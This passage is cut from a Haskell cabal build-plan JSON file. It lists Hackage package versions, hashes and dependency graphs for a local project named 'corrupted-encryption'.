c7328e082f3dd528b5b646148aafbdaad09f2c85ab58a91713cba","pkg-name":"bifunctors","pkg-version":"5.5.12","flags":{"semigroups":true,"tagged":true},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"6c13bd960633e779673717f560209827d001486fc65e07c92c88867f6bf2050a","pkg-src-sha256":"c6067772009772764cdbd585057cc88902876378686bc391fe7b0d1eb66e715d","depends":["base-4.15.1.0","base-orphans-0.8.6-B2lepPtD7GPLSjZRm3qaUK","comonad-5.0.8-0885b598ea06e85b97b9da06ba7f67d1ae7eba9f25a86cd0aefeea7467d6f3b4","containers-0.6.4.1","tagged-0.8.6.1-7fe3f64bbfaeb79c660c83286542fd1433bdb03901e20f95419a39810224f4c9","template-haskell-2.17.0.0","th-abstraction-0.4.3.0-e1af16dd912ebdc84cc756ca3fa78e718e858a45c47e8ec2c24fb882d8aa700a","transformers-0.5.6.2"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"binary-0.8.8.0","pkg-name":"binary","pkg-version":"0.8.8.0","depends":["array-0.5.4.0","base-4.15.1.0","bytestring-0.10.12.1","containers-0.6.4.1"]},{"type":"configured","id":"binary-orphans-1.0.2-abd2ee1e3e7764c709d4e9319e1ca0d02703e138adcb8afc99caf2f472bb424c","pkg-name":"binary-orphans","pkg-version":"1.0.2","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"ffabc984b68562f568533c87186d3baa7d2bbac89f6ea82288396b5235715905","pkg-src-sha256":"5f4b3c92af7e4e0285332b4b56ca21836bd513003feb16b2aa8c9623ea98fe60","depends":["OneTuple-0.3.1-bedfbe43cff87581695b5bda99330da262512b173ba10314cc3cf33f165dfc41","base-4.15.1.0","binary-0.8.8.0","transformers-0.5.6.2"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"blaze-builder-0.4.2.2-763f0d6de4d8068ca6fb3c6f559f2b603176492ab41ad7286eb49e2c8cea9f53","pkg-name":"blaze-builder","pkg-version":"0.4.2.2","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"f0017df374c330de0ebe0eb15eae8c48427bddefa1d81a3cb31c0a4812ecdb08","pkg-src-sha256":"2cdc998c021d3a5f2a66a95138b93386271c26a117e7676d78264a90e536af67","depends":["base-4.15.1.0","bytestring-0.10.12.1","deepseq-1.4.5.0","ghc-prim-0.7.0","text-1.2.5.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"blaze-markup-0.8.2.8-c429e000e9976549114cd5ee334f42eaa0ebec18c7ce085a7076a11ca92eb93b","pkg-name":"blaze-markup","pkg-version":"0.8.2.8","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"38d7a3840163aeaff8194d8a3af354a8c4c4db833f172b88f8bfb7d23dd59f1c","pkg-src-sha256":"43fc3f6872dc8d1be8d0fe091bd4775139b42179987f33d6490a7c5f1e07a349","depends":["base-4.15.1.0","blaze-builder-0.4.2.2-763f0d6de4d8068ca6fb3c6f559f2b603176492ab41ad7286eb49e2c8cea9f53","bytestring-0.10.12.1","text-1.2.5.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"blaze-svg-0.3.6.1-9b16145b4cbf6a2e5b9353092e7995a692db641f8bdd37ec4a55ea6d13474c72","pkg-name":"blaze-svg","pkg-version":"0.3.6.1","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"c9a178ed77ede3b379e80fd2610a3fa5323abfada0de61520209cc6d414367ed","pkg-src-sha256":"f6a4f1bba1e973b336e94de73369f4562778fde43b6ac7c0b32d6a501527aa60","depends":["base-4.15.1.0","blaze-markup-0.8.2.8-c429e000e9976549114cd5ee334f42eaa0ebec18c7ce085a7076a11ca92eb93b","mtl-2.2.2"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"bytes-0.17.2-373c0eace1ef0eb1f36e44c8cc31bee1c52cc73fbed588f775b80b947e06d8aa","pkg-name":"bytes","pkg-version":"0.17.2","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"65630fccda3b3065d49065edaa5ef4698a3e4711ab2cb40cdabea636c3553d19","pkg-src-sha256":"bc55f41edad589bc0ba389e8b106d7425a87390dcd5f1371e3194a9cc2c4781a","depends":["base-4.15.1.0","binary-0.8.8.0","binary-orphans-1.0.2-abd2ee1e3e7764c709d4e9319e1ca0d02703e138adcb8afc99caf2f472bb424c","bytestring-0.10.12.1","cereal-0.5.8.2-2e9695239b8acfad54eb386fcd52a09552867c8ff099372b21f215e1e86482ce","containers-0.6.4.1","hashable-1.4.0.2-1L673PCfEBgBRMBQbZbNnF","mtl-2.2.2","scientific-0.3.7.0-d0413f5c60e6f42551334ed7c6cd0010cbc2ae2a4e4edcc4b8082d82d523923c","text-1.2.5.0","time-1.9.3","transformers-0.5.6.2","transformers-compat-0.7.2-075921f4026d6a066bbeaf02739bf64d81f1c659babee1ae0725366160ddcb13","unordered-containers-0.2.19.1-42960c106225dd5e247a5e843d543c1a60c1dc07017110818637546abd9ee566","void-0.7.3-d0967a49800328fce1d858db813ade1412d4c38fa5544448d623a8b276a2ebd6"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"bytestring-0.10.12.1","pkg-name":"bytestring","pkg-version":"0.10.12.1","depends":["base-4.15.1.0","deepseq-1.4.5.0","ghc-bignum-1.1","ghc-prim-0.7.0"]},{"type":"configured","id":"call-stack-0.4.0-2754d1fc8c02e2d7424cb281c1df2e07eb2ce19126bd775421ab1c8318263870","pkg-name":"call-stack","pkg-version":"0.4.0","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"ac44d2c00931dc20b01750da8c92ec443eb63a7231e8550188cb2ac2385f7feb","pkg-src-sha256":"430bcf8a3404f7e55319573c0b807b1356946f0c8f289bb3d9afb279c636b87b","depends":["base-4.15.1.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"cereal-0.5.8.2-2e9695239b8acfad54eb386fcd52a09552867c8ff099372b21f215e1e86482ce","pkg-name":"cereal","pkg-version":"0.5.8.2","flags":{"bytestring-builder":false},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"fe7d9a6426eacbe12351afe9642daedcb64fa29eda56118a65915f1c14df0d9a","pkg-src-sha256":"17121355b92feea2d66220daa0ebb604a774e0d6359e2fc53bab362c44a5764f","depends":["array-0.5.4.0","base-4.15.1.0","bytestring-0.10.12.1","containers-0.6.4.1","ghc-prim-0.7.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"cereal-vector-0.2.0.1-1efc26ee0e07b327ffbd1c526892a4fd10677085160d5cf73612969b46d872bf","pkg-name":"cereal-vector","pkg-version":"0.2.0.1","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"26d8e359f4c0de6dc06bf29f1cc2805847cdd8576d9f1598ecb263a1ca372bec","pkg-src-sha256":"ff0685a6c39e7aae32f8b4165e2ae06f284c867298ad4f7b776c1c1b2859f933","depends":["base-4.15.1.0","bytestring-0.10.12.1","cereal-0.5.8.2-2e9695239b8acfad54eb386fcd52a09552867c8ff099372b21f215e1e86482ce","vector-0.12.3.1-cf592738ed3cd9273cc6f31f82cde8868af4bd7dd89b12b8c097819af8dea467"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"colour-2.3.6-c0a07da2a308e64a4cd0217aecd8f0e84d9bb29bd72dc2a14f40c5b8cc25ccc3","pkg-name":"colour","pkg-version":"2.3.6","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"ebdcbf15023958838a527e381ab3c3b1e99ed12d1b25efeb7feaa4ad8c37664a","pkg-src-sha256":"2cd35dcd6944a5abc9f108a5eb5ee564b6b1fa98a9ec79cefcc20b588991f871","depends":["base-4.15.1.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"comonad-5.0.8-0885b598ea06e85b97b9da06ba7f67d1ae7eba9f25a86cd0aefeea7467d6f3b4","pkg-name":"comonad","pkg-version":"5.0.8","flags":{"containers":true,"distributive":true,"indexed-traversable":true},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"1f1aabd73ec7f80f20cf078a748a60cd48d8e57277802fdf6a9ab3601a9b8f7e","pkg-src-sha256":"ef6cdf2cc292cc43ee6aa96c581b235fdea8ab44a0bffb24dc79ae2b2ef33d13","depends":["base-4.15.1.0","containers-0.6.4.1","distributive-0.6.2.1-9603780006d866a15d401e9aee7109d5e2fe2a22f6ba863df2b99cdb9ea3ea6d","indexed-traversable-0.1.2-45d0103477b987419991072b7679a66d60c27dd7980aee65dc63cdd09bb6cdbf","tagged-0.8.6.1-7fe3f64bbfaeb79c660c83286542fd1433bdb03901e20f95419a39810224f4c9","transformers-0.5.6.2","transformers-compat-0.7.2-075921f4026d6a066bbeaf02739bf64d81f1c659babee1ae0725366160ddcb13"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"constraints-0.13.4-b5eadba3cfe7b7b6401f0c701ae8891de4d4d3434ed0d1dde1a2eac524ba82a2","pkg-name":"constraints","pkg-version":"0.13.4","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"2133e56e14e130a1a40b0737deeaf6859402279720210531723bc19b898c5544","pkg-src-sha256":"4186946df4b88c5d7cae3a42aa426f30fd5d249835ea1d290e139cebbf464434","depends":["base-4.15.1.0","binary-0.8.8.0","deepseq-1.4.5.0","ghc-prim-0.7.0","hashable-1.4.0.2-1L673PCfEBgBRMBQbZbNnF","mtl-2.2.2","transformers-0.5.6.2","transformers-compat-0.7.2-075921f4026d6a066bbeaf02739bf64d81f1c659babee1ae0725366160ddcb13","type-equality-1-fc3c1b18297f9a67eb196878019cd0408afd4207d9414d93f08d2b415b9cc3b9"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"containers-0.6.4.1","pkg-name":"containers","pkg-version":"0.6.4.1","depends":["array-0.5.4.0","base-4.15.1.0","deepseq-1.4.5.0"]},{"type":"configured","id":"contravariant-1.5.5-6fac33de2e8ba87317db625f54411c76f7fc1b31322462296b6352a68e657539","pkg-name":"contravariant","pkg-version":"1.5.5","flags":{"semigroups":true,"statevar":true,"tagged":true},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"470ed0e040e879e2da4af1b2c8f94e199f6135852a8107858d5ae0a95365835f","pkg-src-sha256":"062fd66580d7aad0b5ba93e644ffa7feee69276ef50f20d4ed9f1deb7642dffa","depends":["StateVar-1.2.2-6fb8e3fe1c21d756037880811c58d69e1723de1b9536d1ab890e3be1cc9ab658","base-4.15.1.0","transformers-0.5.6.2"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"corrupted-encryption-0.1.0.0-inplace-corrupted-encryption","pkg-name":"corrupted-encryption","pkg-version":"0.1.0.0","flags":{},"style":"local","pkg-src":{"type":"local","path":"/home/nico/Documents/challenges-2223/corrupted-encryption/."},"dist-dir":"/home/nico/Documents/challenges-2223/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption","depends":["base-4.15.1.0","hip-1.5.6.0-56ce6be66bbf16fd2a0d0ec0f57ed236637dd902e02bd285ee39251a4086f5e8","hxt-9.3.1.22-c417e9560aeb3a6c9a7a44c346ac3aa80f4959abeb529a27dd4f83b08ef534ae","split-0.2.3.4-42e365cdcb3812f4cd1eafda2d4eba09ea06dda5992058d133f895c58f7e6763","strings-1.1-c4c5f4632d6504e87a155bf7fb5af386636bf04ad3d30eec5eaedfabcd2e95d2"],"exe-depends":[],"component-name":"exe:corrupted-encryption","bin-file":"/home/nico/Documents/challenges-2223/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/build/corrupted-encryption/corrupted-encryption"},{"type":"configured","id":"data-default-class-0.1.2.0-41a23755b7c26dd4f6cc319ab5c865e33d34c888658ef7730838e73a4c465b30","pkg-name":"data-default-class","pkg-version":"0.1.2.0","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"63e62120b7efd733a5a17cf59ceb43268e9a929c748127172d7d42f4a336e327","pkg-src-sha256":"4f01b423f000c3e069aaf52a348564a6536797f31498bb85c3db4bd2d0973e56","components":{"lib":{"depends":["base-4.15.1.0"],"exe-depends":[]}}},{"type":"pre-existing","id":"deepseq-1.4.5.0","pkg-name":"deepseq","pkg-version":"1.4.5.0","depends":["array-0.5.4.0","base-4.15.1.0"]},{"type":"configured","id":"diagrams-core-1.5.0-e906ddce4ef139670aa0913dc08e5f18d3c281cbf5ab2d21dcd9076572688568","pkg-name":"diagrams-core","pkg-version":"1.5.0","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"8ffd24eb97ce309b41c52e5fa3a8acee5e4063565919eb4d41abb5c219b3d49b","pkg-src-sha256":"b6d55c8bf6940a65d1374b8a9b705167e3c71001448ea95a8ecdf908c7ad7a78","depends":["adjunctions-4.4.1-169108ba8ea78b83740bd52f3a50976061822283de424559fe9868e038845afb","base-4.15.1.0","containers-0.6.4.1","distributive-0.6.2.1-9603780006d866a15d401e9aee7109d5e2fe2a22f6ba863df2b99cdb9ea3ea6d","dual-tree-0.2.3.0-c121f7bb6d1af465805b0306045e3cfc00cbfb9b0db82bdcb496ebfea83a9489","lens-5.1.1-2aa27cbe93440a2f4f610a2ac23404e7aa7ebcb9cd33d45dbdfa1b3b46b77bec","linear-1.21.10-331b74892e25b715420abb457877019e925b0ddd108891b8e46b918ef1d74084","monoid-extras-0.6.1-7b5c7bdc23422b91d87aed483fde829502f8f03939d39fd2019bb377553c55ac","mtl-2.2.2","profunctors-5.6.2-22e7213ac694a28f8bd36e56fd970c1291e4fc9f7fdcd13fdfd18dfb22a1effe","semigroups-0.20-66dae852e5d1f13aa54874e916a2998837ce5cbd872f91128948241c1574b2fa","unordered-containers-0.2.19.1-42960c106225dd5e247a5e843d543c1a60c1dc07017110818637546abd9ee566"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"diagrams-lib-1.4.5.1-bb27aeafdc70694d2cf4c45422fac997a3ec243931645007931490b67d861686","pkg-name":"diagrams-lib","pkg-version":"1.4.5.1","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"20f551cdf4d217edc31c10d40530be5d73a8a7d3bc086102c8c841778670f18b","pkg-src-sha256":"ff098f9a332c4e1757290151e7401cdbfb1efe96b07e3471213aa59848b97dc2","depends":["JuicyPixels-3.3.7-a5c237df0e1083994c81f4fbaa09492beaab6842d17b00f1b3f927788ef440af","active-0.2.0.15-8c013bbfe5fa8aa095d9d80240df148c39d2147d8594f99f2a1318a6ac479f73","adjunctions-4.4.1-169108ba8ea78b83740bd52f3a50976061822283de424559fe9868e038845afb","array-0.5.4.0","base-4.15.1.0","bytestring-0.10.12.1","cereal-0.5.8.2-2e9695239b8acfad54eb386fcd52a09552867c8ff099372b21f215e1e86482ce","colour-2.3.6-c0a07da2a308e64a4cd0217aecd8f0e84d9bb29bd72dc2a14f40c5b8cc25ccc3","containers-0.6.4.1","data-default-class-0.1.2.0-41a23755b7c26dd4f6cc319ab5c865e33d34c888658ef7730838e73a4c465b30","diagrams-core-1.5.0-e906ddce4ef139670aa0913dc08e5f18d3c281cbf5ab2d21dcd9076572688568","diagrams-solve-0.1.3-1fadf26b80f023e15cea095b7ea1635090f78920b5987fa20ccf6b9718c11a30","directory-1.3.6.2","distributive-0.6.2.1-9603780006d866a15d401e9aee7109d5e2fe2a22f6ba863df2b99cdb9ea3ea6d","dual-tree-0.2.3.0-c121f7bb6d1af465805b0306045e3cfc00cbfb9b0db82bdcb496ebfea83a9489","exceptions-0.10.4","filepath-1.4.2.1","fingertree-0.1.5.0-362208927ad7eb90c173cfbfd4e578f5da2c7a93769e6a3249645410d0c13941","fsnotify-0.3.0.1-c2836ef081ba0d36913a8f590655a5511cf3459234c376d4ed26f8f43bce9233","hashable-1.4.0.2-1L673PCfEBgBRMBQbZbNnF","intervals-0.9.2-0ebb0101fd1b1351d02360f460b3e306f79d6c26936301a1b775e911d92bde2f","lens-5.1.1-2aa27cbe93440a2f4f610a2ac23404e7aa7ebcb9cd33d45dbdfa1b3b46b77bec","linear-1.21.10-331b74892e25b715420abb457877019e925b0ddd108891b8e46b918ef1d74084","monoid-extras-0.6.1-7b5c7bdc23422b91d87aed483fde829502f8f03939d39fd2019bb377553c55ac","mtl-2.2.2","optparse-applicative-0.17.0.0-b24ecbabf2208de5ad0781e3d7841158c037cebd00f317df9ae9e1c097134f84","process-1.6.13.2","profunctors-5.6.2-22e7213ac694a28f8bd36e56fd970c1291e4fc9f7fdcd13fdfd18dfb22a1effe","semigroups-0.20-66dae852e5d1f13aa54874e916a2998837ce5cbd872f91128948241c1574b2fa","tagged-0.8.6.1-7fe3f64bbfaeb79c660c83286542fd1433bdb03901e20f95419a39810224f4c9","text-1.2.5.0","transformers-0.5.6.2","unordered-containers-0.2.19.1-42960c106225dd5e247a5e843d543c1a60c1dc07017110818637546abd9ee566"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"diagrams-postscript-1.5.1-a73bd99e9cacd67f963714109c2ff6079671204041714d5566a666a46b82e91a","pkg-name":"diagrams-postscript","pkg-version":"1.5.1","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"f1bd02682105abd7e45f1e70ca24f8fe68b12340ebf026788d3349502b3faf71","pkg-src-sha256":"2f7d9e8ec3e42005dbcf7c18c941bdb9e088be0d48dc095a683d5ce3c7d00286","depends":["base-4.15.1.0","bytestring-0.10.12.1","containers-0.6.4.1","data-default-class-0.1.2.0-41a23755b7c26dd4f6cc319ab5c865e33d34c888658ef7730838e73a4c465b30","diagrams-core-1.5.0-e906ddce4ef139670aa0913dc08e5f18d3c281cbf5ab2d21dcd9076572688568","diagrams-lib-1.4.5.1-bb27aeafdc70694d2cf4c45422fac997a3ec243931645007931490b67d861686","hashable-1.4.0.2-1L673PCfEBgBRMBQbZbNnF","lens-5.1.1-2aa27cbe93440a2f4f610a2ac23404e7aa7ebcb9cd33d45dbdfa1b3b46b77bec","monoid-extras-0.6.1-7b5c7bdc23422b91d87aed483fde829502f8f03939d39fd2019bb377553c55ac","mtl-2.2.2","semigroups-0.20-66dae852e5d1f13aa54874e916a2998837ce5cbd872f91128948241c1574b2fa","split-0.2.3.4-42e365cdcb3812f4cd1eafda2d4eba09ea06dda5992058d133f895c58f7e6763","statestack-0.3.1-3bd8e122e84d6e48ff82d50483b4811d0c4dd6ad53b90ad109a5541159589afe"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"diagrams-solve-0.1.3-1fadf26b80f023e15cea095b7ea1635090f78920b5987fa20ccf6b9718c11a30","pkg-name":"diagrams-solve","pkg-version":"0.1.3","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"10ecc7080d2521202bd635673ccea9b4ee10dbd4c784a1e186879e805f0ce636","pkg-src-sha256":"27b4bba55f5c2aae94903fbe7958f27744c0ff6a805ceb8a046ab4bd36e31827","depends":["base-4.15.1.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"diagrams-svg-1.4.3.1-86ebe152a63074edf258cd5d499f57ddc19a52728b263e283ab40ac994aecb36","pkg-name":"diagrams-svg","pkg-version":"1.4.3.1","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"9e8edfe5b19c59905830433f77bdd328cb5264f7ecbf823baa213184a415d00f","pkg-src-sha256":"67080a0aa846f2931c14855560c4bbd848c44935f5ada4dbd6d93074707d5400","depends":["JuicyPixels-3.3.7-a5c237df0e1083994c81f4fbaa09492beaab6842d17b00f1b3f927788ef440af","base-4.15.1.0","base64-bytestring-1.2.1.0-BJuXRBAdLOsHfwJFsLaaPA","bytestring-0.10.12.1","colour-2.3.6-c0a07da2a308e64a4cd0217aecd8f0e84d9bb29bd72dc2a14f40c5b8cc25ccc3","containers-0.6.4.1","diagrams-core-1.5.0-e906ddce4ef139670aa0913dc08e5f18d3c281cbf5ab2d21dcd9076572688568","diagrams-lib-1.4.5.1-bb27aeafdc70694d2cf4c45422fac997a3ec243931645007931490b67d861686","filepath-1.4.2.1","hashable-1.4.0.2-1L673PCfEBgBRMBQbZbNnF","lens-5.1.1-2aa27cbe93440a2f4f610a2ac23404e7aa7ebcb9cd33d45dbdfa1b3b46b77bec","monoid-extras-0.6.1-7b5c7bdc23422b91d87aed483fde829502f8f03939d39fd2019bb377553c55ac","mtl-2.2.2","optparse-applicative-0.17.0.0-b24ecbabf2208de5ad0781e3d7841158c037cebd00f317df9ae9e1c097134f84","semigroups-0.20-66dae852e5d1f13aa54874e916a2998837ce5cbd872f91128948241c1574b2fa","split-0.2.3.4-42e365cdcb3812f4cd1eafda2d4eba09ea06dda5992058d133f895c58f7e6763","svg-builder-0.1.1-befa3fe0d81f4e8fb40609b86af2012818a2e02f4b3ae16d15a8ad299b8e152d","text-1.2.5.0"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"directory-1.3.6.2","pkg-name":"directory","pkg-version":"1.3.6.2","depends":["base-4.15.1.0","filepath-1.4.2.1","time-1.9.3","unix-2.7.2.2"]},{"type":"configured","id":"distributive-0.6.2.1-9603780006d866a15d401e9aee7109d5e2fe2a22f6ba863df2b99cdb9ea3ea6d","pkg-name":"distributive","pkg-version":"0.6.2.1","flags":{"semigroups":true,"tagged":true},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"0f99f5541cca04acf89b64432b03422b6408e830a8dff30e6c4334ef1a48680c","pkg-src-sha256":"d7351392e078f58caa46630a4b9c643e1e2e9dddee45848c5c8358e7b1316b91","depends":["base-4.15.1.0","base-orphans-0.8.6-B2lepPtD7GPLSjZRm3qaUK","tagged-0.8.6.1-7fe3f64bbfaeb79c660c83286542fd1433bdb03901e20f95419a39810224f4c9","transformers-0.5.6.2"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"dual-tree-0.2.3.0-c121f7bb6d1af465805b0306045e3cfc00cbfb9b0db82bdcb496ebfea83a9489","pkg-name":"dual-tree","pkg-version":"0.2.3.0","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"be4b8ecb2ecef798f88ee569d043f3f19c32f6dd083329cd7cfcb482f0bc6233","pkg-src-sha256":"8f62f312a71464b094c1b1dc0fc7345e301d47c7c12d1ed666747341d63cd663","depends":["base-4.15.1.0","monoid-extras-0.6.1-7b5c7bdc23422b91d87aed483fde829502f8f03939d39fd2019bb377553c55ac","newtype-generics-0.6.2-8ba5db1c460d764148348a66a0886b99d7650f3c1e8beab933deec9ec8e0c27f","semigroups-0.20-66dae852e5d1f13aa54874e916a2998837ce5cbd872f91128948241c1574b2fa"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"enclosed-exceptions-1.0.3-6ddf14c22cb2ab66a188dfa4431b5bae44c522989d534d50628824168b0a08ea","pkg-name":"enclosed-exceptions","pkg-version":"1.0.3","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"6d4e9b5156721ccfa62d3cdcbf13d8571773031050ec714cb55b841f0c183f6a","pkg-src-sha256":"af6d93f113ac92b89a32af1fed52f445f492afcc0be93980cbadc5698f94f0b9","depends":["base-4.15.1.0","deepseq-1.4.5.0","lifted-base-0.2.3.12-f27f5eecc760699fd52b3978e4a7c1a0a1b64ce04aa11358bffdce62767b3943","monad-control-1.0.3.1-f71f0261e6deeecf9df6a63bc48c7a42418c9b3b6af61087ae4e2d20822c633d","transformers-0.5.6.2","transformers-base-0.4.6-50adc61172f9a102068dac054f1791af14a9c59fde15df8aae987052c3339e77"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"exceptions-0.10.4","pkg-name":"exceptions","pkg-version":"0.10.4","depends":["base-4.15.1.0","mtl-2.2.2","stm-2.5.0.0","template-haskell-2.17.0.0","transformers-0.5.6.2"]},{"type":"pre-existing","id":"filepath-1.4.2.1","pkg-name":"filepath","pkg-version":"1.4.2.1","depends":["base-4.15.1.0"]},{"type":"configured","id":"fingertree-0.1.5.0-362208927ad7eb90c173cfbfd4e578f5da2c7a93769e6a3249645410d0c13941","pkg-name":"fingertree","pkg-version":"0.1.5.0","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"dee81b0538430657e086189a80d17196bd91442adfdec2d73459e3029edfc1a8","pkg-src-sha256":"f3263c92fa8b18f1e1a64cd12480c8c1bee2c1fa0584ab3345f3dd8522bdbf71","depends":["base-4.15.1.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"free-5.1.9-17c49e811675efb729577964f62c0a87ea00de4540d9c71566f660bcb6450614","pkg-name":"free","pkg-version":"5.1.9","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"71a3cd3f6ec453f3feab1bbb2e1af7c54663e95db0364d100bd2069c2dae8900","pkg-src-sha256":"2e751309408550ebccc2708170ec8473eac1e35b4bc1016bee0776ac938e9fee","depends":["base-4.15.1.0","comonad-5.0.8-0885b598ea06e85b97b9da06ba7f67d1ae7eba9f25a86cd0aefeea7467d6f3b4","containers-0.6.4.1","distributive-0.6.2.1-9603780006d866a15d401e9aee7109d5e2fe2a22f6ba863df2b99cdb9ea3ea6d","exceptions-0.10.4","indexed-traversable-0.1.2-45d0103477b987419991072b7679a66d60c27dd7980aee65dc63cdd09bb6cdbf","mtl-2.2.2","profunctors-5.6.2-22e7213ac694a28f8bd36e56fd970c1291e4fc9f7fdcd13fdfd18dfb22a1effe","semigroupoids-5.3.7-e30809c0a9d92e0bf87eb4bb2204e63d19e60ba9e1217cfae34f071fcb29db3c","template-haskell-2.17.0.0","th-abstraction-0.4.3.0-e1af16dd912ebdc84cc756ca3fa78e718e858a45c47e8ec2c24fb882d8aa700a","transformers-0.5.6.2","transformers-base-0.4.6-50adc61172f9a102068dac054f1791af14a9c59fde15df8aae987052c3339e77"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"fsnotify-0.3.0.1-c2836ef081ba0d36913a8f590655a5511cf3459234c376d4ed26f8f43bce9233","pkg-name":"fsnotify","pkg-version":"0.3.0.1","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"fbec8cddd3f991d5b905df16895c67717b0f580e1ef33de34d93de814af1a08a","pkg-src-sha256":"ded2165f72a2b4971f941cb83ef7f58b200e3e04159be78da55ba6c5d35f6da5","depends":["async-2.2.4-A0B9IOxHH19KB8pu15mnoQ","base-4.15.1.0","bytestring-0.10.12.1","containers-0.6.4.1","directory-1.3.6.2","filepath-1.4.2.1","hinotify-0.4.1-2829c837705b524260e243b1d884078397c48a7d68026cb8b85c6ae5c861c7b9","shelly-1.10.0-abee6cae93596b0234dc2b2c39028ce77e7eda984b41995c9d8c7e973b4a9f85","text-1.2.5.0","time-1.9.3","unix-2.7.2.2","unix-compat-0.6-2417f941f0d0ff919f6beeb5fa0bdb9c05081b21051f99de759abd871d1a7bfb"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"ghc-bignum-1.1","pkg-name":"ghc-bignum","pkg-version":"1.1","depends":["ghc-prim-0.7.0"]},{"type":"pre-existing","id":"ghc-boot-th-9.0.2","pkg-name":"ghc-boot-th","pkg-version":"9.0.2","depends":["base-4.15.1.0"]},{"type":"pre-existing","id":"ghc-prim-0.7.0","pkg-name":"ghc-prim","pkg-version":"0.7.0","depends":["rts"]},{"type":"configured","id":"groups-0.5.3-dca909de6ef00eacfba14cdc612e542f2328c8c528573015e7e648a4f26dee5a","pkg-name":"groups","pkg-version":"0.5.3","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"b536d995c65281f5b891a694213fe4abce2fcee71ebda08bb9ec9e334cdcc741","pkg-src-sha256":"ce1e52a8be7effbd1f995eadf0ed34fa4